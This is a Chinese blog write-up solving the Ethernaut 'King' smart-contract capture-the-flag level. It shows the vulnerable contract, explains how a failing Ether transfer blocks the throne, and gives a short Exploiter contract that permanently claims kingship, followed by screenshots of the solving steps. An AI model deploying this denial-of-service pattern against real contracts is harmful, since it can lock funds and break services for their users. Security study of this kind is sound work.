抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

King

1. 题目要求

  • 1.1 题目:下面的合约表示了一个很简单的游戏:

  • 任何一个发送了高于目前价格的人将成为新的国王. 在这个情况下, 上一个国王将会获得新的出价, 这样可以赚得一些以太币. 看起来像是庞氏骗局.这么有趣的游戏, 你的目标是攻破他, 当你提交实例给关卡时, 关卡会重新申明王位. 你需要阻止他重获王位来通过这一关.

  • 1.2 题目代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {

address king;
uint public prize;
address public owner;

constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}

receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}

function _king() public view returns (address) {
return king;
}
}

2. 分析

tips:参考博客

  • 2.1 阅读代码可知,该receive函数是一个特殊函数,允许合约直接从外部合约或 EOA 接收以太币

  • 2.2 我们首先看到的是require(msg.value >= prize || msg.sender == owner)。此检查允许owner合约的 始终拥有合约的王权,重置所有值。

  • 2.3 所以现在我们知道transfer允许您将 Ether 发送到一个地址,消耗2300gas 并在无法执行交易时恢复。

    如果“将以太币转移到”交易恢复,为什么会出现问题?好吧,因为如果还原,我们的功能transfer也会还原!并且通过还原它会使合约无法使用,没有人可以成为新的国王!receive

    一种可能的解决方案是只创建一个Contract不接受任何类型的 Ether 转移的对象。

  • 2.4 攻击合约

1
2
3
4
5
6
contract Exploiter { 
constructor(address payable _to) payable {
(bool success, ) = address(_to).call{value: msg.value}("");
require(success, "call failed!!!");
}
}
  • 2.5 获取实例地址,并填入到Exploiter合约构造器中

3. 解题

  • 3.1 获取关卡实例地址:0x25766108F8Fa65C8061FB17E7762D4BC42Fc882C

  • 3.2 调用关卡实例部署的合约,得到实例合约中的prize

  • image-20230224203504454

  • 3.3 根据关卡实例地址部署攻击合约

  • image-20230224203617831

  • 3.4 Deploy后查看king的值发生了改变

  • image-20230224203814365

  • 3.5 提交实例

  • image-20230224204008571

  • 3.6 成功!!!!!

评论



政策 · 统计 | 本站使用 Volantis 主题设计